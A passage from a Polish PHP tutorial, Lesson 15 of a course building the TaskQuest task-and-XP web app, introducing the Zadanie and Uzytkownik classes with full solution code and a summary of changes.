<p class="wp-block-paragraph">Linie ze streakiem pokazują <code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD</code> tam, gdzie funkcja zmieniłaby streak — w obiekcie zostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> <strong>zwraca</strong> nową wartość, ale sama niczego nie zmienia; jeśli wyniku nie zapiszemy w obiekcie, przepada.</p>



<p class="wp-block-paragraph">Teraz pomyśl o <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> z Lekcji 14: tam było <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak($streak, ...)</code>. Gdybyśmy dziś zostawili w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code> <strong>obok</strong> obiektu, na stronie mógłby pojawić się streak sprzed aktualizacji — dwie wersje tej samej informacji, i tylko jedna prawdziwa. Dlatego w sekcji 6b usunęliśmy luźne zmienne. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak = </code>.</p>



<h3 class="wp-block-heading">Eksperyment 7 (dodatkowy): czego typy nie wyłapią</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

$zadanie = new Zadanie(id: '7', tytul: 'Test', opis: '', termin: '2026-10-01', wykonane: 'nie', xp: 10);
var_dump($zadanie-&gt;pobierzId(), $zadanie-&gt;czyWykonane());

$zadanie = new Zadanie(id: 'siedem', tytul: 'Test', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(7)</code>, <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code></strong>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError: ... Argument #1 ($id) must be of type int, string given</code>.</p>



<p class="wp-block-paragraph">PHP w domyślnym trybie <strong>zamienia</strong> wartości, gdy się da: tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'7'</code> na liczbę <code class="prettyprint lang-sql" style="font-size: 0.85em;">7</code>, niepusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'nie'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> (jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> z sekcji 2). Odrzuca tylko to, czego zamienić się nie da (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'siedem'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>). Wniosek: typy właściwości i parametrów bardzo pomagają, ale <strong>nie zastępują walidacji</strong>. Dlatego dane z pliku nadal przechodzą przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>, dane z formularza — przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>, a konwersje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== '1'</code>) robimy jawnie, zanim powstanie obiekt.</p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE </h1>



<p class="wp-block-paragraph">Pełny kod TaskQuest po Lekcji 15. Nowe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>. Zmienione: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>. <strong>Bez zmian względem Lekcji 14:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Zadanie
{
    private int $id;
    private string $tytul;
    private string $opis;
    private string $termin;
    private bool $wykonane;
    private int $xp;

    public function __construct(
        int $id,
        string $tytul,
        string $opis,
        string $termin,
        bool $wykonane,
        int $xp
    ) {
        $this-&gt;id = $id;
        $this-&gt;tytul = $tytul;
        $this-&gt;opis = $opis;
        $this-&gt;termin = $termin;
        $this-&gt;wykonane = $wykonane;
        $this-&gt;xp = $xp;
    }

    public function pobierzId(): int
    {
        return $this-&gt;id;
    }

    public function pobierzTytul(): string
    {
        return $this-&gt;tytul;
    }

    public function pobierzOpis(): string
    {
        return $this-&gt;opis;
    }

    public function pobierzTermin(): string
    {
        return $this-&gt;termin;
    }

    public function czyWykonane(): bool
    {
        return $this-&gt;wykonane;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function oznaczJakoWykonane(): void
    {
        $this-&gt;wykonane = true;
    }

    public function czyPoTerminie(): bool
    {
        if ($this-&gt;wykonane) {
            return false;
        }

        $dzisiaj = new DateTime('today');
        $termin = new DateTime($this-&gt;termin);

        return $termin &lt; $dzisiaj;
    }
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Metody korzystają z funkcji z includes/funkcje_grywalizacji.php i includes/funkcje_terminow.php
// (oraz stałej XP_NA_POZIOM) — strona, która tworzy obiekt Uzytkownik, musi je dołączyć.

class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;

    public function __construct(
        string $login,
        string $imieUzytkownika,
        int $xp,
        int $streak,
        string $dataOstatniejAktywnosci
    ) {
        $this-&gt;login = $login;
        $this-&gt;imieUzytkownika = $imieUzytkownika;
        $this-&gt;xp = $xp;
        $this-&gt;streak = $streak;
        $this-&gt;dataOstatniejAktywnosci = $dataOstatniejAktywnosci;
    }

    public function pobierzLogin(): string
    {
        return $this-&gt;login;
    }

    public function pobierzImie(): string
    {
        return $this-&gt;imieUzytkownika;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function pobierzStreak(): int
    {
        return $this-&gt;streak;
    }

    public function pobierzPoziom(): int
    {
        return obliczPoziom($this-&gt;xp);
    }

    public function pobierzTytulGracza(): string
    {
        return pobierzTytul($this-&gt;pobierzPoziom());
    }

    public function pobierzXpWAktualnymPoziomie(): int
    {
        return obliczXpWAktualnymPoziomie($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function pobierzProcentPostepu(): float
    {
        return obliczProcentPostepu($this-&gt;pobierzXpWAktualnymPoziomie());
    }

    public function pobierzBrakujaceXp(): int
    {
        return ileBrakujeXp($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function dodajXp(int $xp): void
    {
        if ($xp &lt;= 0) {
            throw new Exception('Liczba XP do dodania musi być większa od zera.');
        }

        $this-&gt;xp += $xp;
    }

    public function aktualizujStreak(bool $zadanieWykonane): void
    {
        $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);
    }
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code></h2>



<p class="wp-block-paragraph">Pięć funkcji po zmianie (jeśli Twoje funkcje z Lekcji 9 i 13 są zapisane inaczej, np. funkcją strzałkową, zmieniają się w nich tylko odwołania z tabeli w kroku 3). <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> — bez zmian.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function pobierzWykonaneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return $zadanie-&gt;czyWykonane();
    });
}


function pobierzAktywneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return !$zadanie-&gt;czyWykonane();
    });
}


function sumujXp(array $zadania): int
{
    $suma = 0;

    foreach ($zadania as $zadanie) {
        $suma += $zadanie-&gt;pobierzXp();
    }

    return $suma;
}


function sortujPoTerminie(array $zadania): array
{
    usort($zadania, function ($a, $b) {
        return $a-&gt;pobierzTermin() &lt;=&gt; $b-&gt;pobierzTermin();
    });

    return $zadania;
}


function nastepneIdZadania(array $zadania): int
{
    $najwiekszeId = 0;

    foreach ($zadania as $zadanie) {
        if ($zadanie-&gt;pobierzId() &gt; $najwiekszeId) {
            $najwiekszeId = $zadanie-&gt;pobierzId();
        }
    }

    return $najwiekszeId + 1;
}

// ... walidujNoweZadanie() — bez zmian względem Lekcji 13 ...
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> — bez zmian. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zmieniają się tylko fragmenty pokazane niżej; sprawdzanie pliku, wyjątki, <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, nagłówek CSV i końcówka <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code> — bez zmian.</p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> — zadanie powstaje jako obiekt:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania&#91;] = new Zadanie(
                id: (int) $wiersz&#91;0],
                tytul: $wiersz&#91;1],
                opis: $wiersz&#91;2],
                termin: $wiersz&#91;3],
                wykonane: $wiersz&#91;4] === '1',
                xp: (int) $wiersz&#91;5]
            );
</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> — wiersz CSV dla jednego zadania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        fputcsv($plik, &#91;
            $zadanie-&gt;pobierzId(),
            $zadanie-&gt;pobierzTytul(),
            $zadanie-&gt;pobierzOpis(),
            $zadanie-&gt;pobierzTermin(),
            $zadanie-&gt;czyWykonane() ? 1 : 0,
            $zadanie-&gt;pobierzXp()
        ], ';', '"', '');
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = &#91;];
$bladZapisu = null;


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST&#91;'tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST&#91;'opis'] ?? ''));
    $terminZadania = trim($_POST&#91;'termin'] ?? '');
    $xpZadania = trim($_POST&#91;'xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = new Zadanie(
                id: nastepneIdZadania($zadania),
                tytul: $tytulZadania,
                opis: $opisZadania,
                termin: $terminZadania,
                wykonane: false,
                xp: (int) $xpZadania
            );

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Nowe zadanie&lt;/h2&gt;
        &lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZapisu !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się dodać zadania: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="dodaj-zadanie.php"&gt;
            &lt;label for="tytul"&gt;Tytuł *&lt;/label&gt;
            &lt;input type="text" id="tytul" name="tytul" maxlength="100" required value="&lt;?= $tytulZadania; ?&gt;"&gt;

            &lt;label for="opis"&gt;Opis&lt;/label&gt;
            &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= $opisZadania; ?&gt;&lt;/textarea&gt;

            &lt;label for="termin"&gt;Termin *&lt;/label&gt;
            &lt;input type="date" id="termin" name="termin" required value="&lt;?= $terminZadania; ?&gt;"&gt;

            &lt;label for="xp"&gt;Nagroda XP (1–100) *&lt;/label&gt;
            &lt;input type="number" id="xp" name="xp" min="1" max="100" required value="&lt;?= $xpZadania; ?&gt;"&gt;

            &lt;button type="submit"&gt;Dodaj zadanie&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- użytkownik: dane z sesji + symulowane dane grywalizacji ---
$uzytkownik = new Uzytkownik(
    login: $_SESSION&#91;'login'],
    imieUzytkownika: $_SESSION&#91;'imie'],
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: '2026-09-14'
);


// --- dane zadań (z pliku CSV — tablica obiektów Zadanie) ---
$zadania = &#91;];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek-&gt;getMessage();
}


// --- wywołania metod: grywalizacja ---
$poziom = $uzytkownik-&gt;pobierzPoziom();
$tytul = $uzytkownik-&gt;pobierzTytulGracza();
$xpWAktualnymPoziomie = $uzytkownik-&gt;pobierzXpWAktualnymPoziomie();
$procentPostepu = $uzytkownik-&gt;pobierzProcentPostepu();
$brakujeXp = $uzytkownik-&gt;pobierzBrakujaceXp();

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);
$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych &gt; 0;

$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);


// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET&#91;'filtr'] ?? $_COOKIE&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET&#91;'filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; $zadaniaWgTerminu,
    'aktywne' =&gt; $aktywneWgTerminu,
    'wykonane' =&gt; $wykonaneWgTerminu
};


// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;?php if ($komunikat !== '') { ?&gt;
        &lt;p class="sukces"&gt;&lt;?= $komunikat; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;

        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzLogin(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;form method="post" action="wyloguj.php"&gt;
            &lt;button type="submit"&gt;Wyloguj&lt;/button&gt;
        &lt;/form&gt;

        &lt;h2&gt;Witaj, &lt;?= $uzytkownik-&gt;pobierzImie(); ?&gt;!&lt;/h2&gt;

        &lt;p&gt;Poziom: &lt;strong&gt;&lt;?= $poziom; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Tytuł: &lt;strong&gt;&lt;?= $tytul; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzXp(); ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h3&gt;
            &lt;?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?&gt;
        &lt;/h3&gt;

        &lt;div class="pasek-xp"&gt;
            &lt;?php
            for ($segment = 1; $segment &lt;= 10; $segment++) {
                if ($segment &lt;= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?&gt;
        &lt;/div&gt;

        &lt;p&gt;Kolejny próg: &lt;?= $progNastepnegoPoziomu; ?&gt; XP&lt;/p&gt;
        &lt;p&gt;Brakuje XP: &lt;strong&gt;&lt;?= $brakujeXp; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzStreak(); ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się wczytać zadań: &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        &lt;p&gt;
            Wszystkie: &lt;strong&gt;&lt;?= $liczbaWszystkich; ?&gt;&lt;/strong&gt; |
            Wykonane: &lt;strong&gt;&lt;?= $liczbaWykonanych; ?&gt;&lt;/strong&gt; |
            Aktywne: &lt;strong&gt;&lt;?= $liczbaAktywnych; ?&gt;&lt;/strong&gt;
        &lt;/p&gt;
        &lt;p&gt;XP do zdobycia z aktywnych zadań: &lt;strong&gt;&lt;?= $xpDoZdobycia; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;?php
        if ($liczbaWszystkich === 0) {
            echo "&lt;p&gt;Brak zadań.&lt;/p&gt;";
        } elseif ($liczbaAktywnych === 0) {
            echo "&lt;p&gt;Wszystkie zadania wykonane — świetna robota!&lt;/p&gt;";
        } else {
            if ($xpDoZdobycia &gt;= $brakujeXp) {
                echo "&lt;p class=\"awans\"&gt;Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!&lt;/p&gt;";
            } else {
                echo "&lt;p&gt;Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.&lt;/p&gt;";
            }

            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze-&gt;pobierzTytul()) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze-&gt;pobierzTermin()) . "&lt;/p&gt;";
        }

        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";
        echo "&lt;p&gt;Pokaż: &lt;a href=\"index.php?filtr=wszystkie\"&gt;wszystkie&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=aktywne\"&gt;aktywne&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=wykonane\"&gt;wykonane&lt;/a&gt;&lt;/p&gt;";
        echo "&lt;p&gt;Widok: &lt;strong&gt;$filtr&lt;/strong&gt;&lt;/p&gt;";

        if ($liczbaWszystkich &gt; 0 &amp;&amp; count($zadaniaDoWyswietlenia) === 0) {
            echo "&lt;p&gt;Brak zadań w tym widoku.&lt;/p&gt;";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie-&gt;pobierzTytul());
            $znacznik = $zadanie-&gt;czyWykonane() ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie-&gt;czyWykonane() ? "zadanie wykonane" : "zadanie";

            if ($zadanie-&gt;czyPoTerminie()) {
                $klasa = "zadanie po-terminie";
            }

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie-&gt;pobierzOpis(), 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: " . $zadanie-&gt;pobierzTermin();

            if (!$zadanie-&gt;czyWykonane()) {
                echo " — " . komunikatTerminu($zadanie-&gt;pobierzTermin());
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
        ?&gt;
        &lt;?php } ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<p class="wp-block-paragraph">Jedyna zmiana: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code>, dochodzi:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie { border: 2px solid #c0392b; }
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.5&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">Dwie zmiany: w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dochodzą <code class="prettyprint lang-sql" style="font-size: 0.85em;">'classes/Zadanie.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'classes/Uzytkownik.php'</code> (razem <strong>17</strong> ścieżek), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$katalogiDoPrzegladu</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">['config', 'includes', 'classes']</code>. Reszta pliku bez zmian — nadal bez sesji i bez dołączania klas czy funkcji aplikacji (ma działać nawet przy zepsutym projekcie).</p>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp   // te same nazwy — wartości z metod obiektu $uzytkownik
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu, $zadanieWykonane
$zadania, $bladZadan, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $wykonaneWgTerminu, $xpDoZdobycia   // tablice — teraz z obiektami Zadanie
$filtr, $zadaniaDoWyswietlenia, $komunikat, $nazwaStrony
// dodaj-zadanie.php: $tytulZadania, $opisZadania, $terminZadania, $xpZadania, $bledy, $bladZapisu
// zaloguj.php: $login, $imieUzytkownika (dane z formularza — bez zmian)
define('XP_NA_POZIOM', ...), define('PLIK_ZADAN', ...), define('CZAS_PAMIETANIA_WIDOKU', ...)

wszystkie funkcje z Lekcji 1–14 (kod bez zmian poza odwołaniami do danych zadania w funkcje_zadan.php i funkcje_plikow.php)
format data/zadania.csv, sesja (login, imie, komunikat), cookie filtr, obsługa awarii pliku, walidacja formularzy</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// classes/Zadanie.php (nowy plik, nowy katalog classes/)
class Zadanie
    // właściwości private: $id, $tytul, $opis, $termin, $wykonane, $xp
    __construct(int $id, string $tytul, string $opis, string $termin, bool $wykonane, int $xp)
    pobierzId(), pobierzTytul(), pobierzOpis(), pobierzTermin(), czyWykonane(), pobierzXp()
    oznaczJakoWykonane()      // jedyny sposób zmiany stanu zadania
    czyPoTerminie()           // niewykonane i termin przed dzisiaj

// classes/Uzytkownik.php (nowy plik)
class Uzytkownik
    // właściwości private: $login, $imieUzytkownika, $xp, $streak, $dataOstatniejAktywnosci
    __construct(string $login, string $imieUzytkownika, int $xp, int $streak, string $dataOstatniejAktywnosci)
    pobierzLogin(), pobierzImie(), pobierzXp(), pobierzStreak()
    pobierzPoziom(), pobierzTytulGracza(), pobierzXpWAktualnymPoziomie(), pobierzProcentPostepu(), pobierzBrakujaceXp()
                              // wywołują funkcje z funkcje_grywalizacji.php
    dodajXp(int $xp)          // tylko dodatnie XP, inaczej Exception
    aktualizujStreak(bool $zadanieWykonane)   // wywołuje funkcję aktualizujStreak() i zapisuje wynik w obiekcie

// index.php
$uzytkownik               // obiekt Uzytkownik (dane z sesji + symulowane XP/streak/data)

// includes/header.php: styl .zadanie.po-terminie</code></pre>



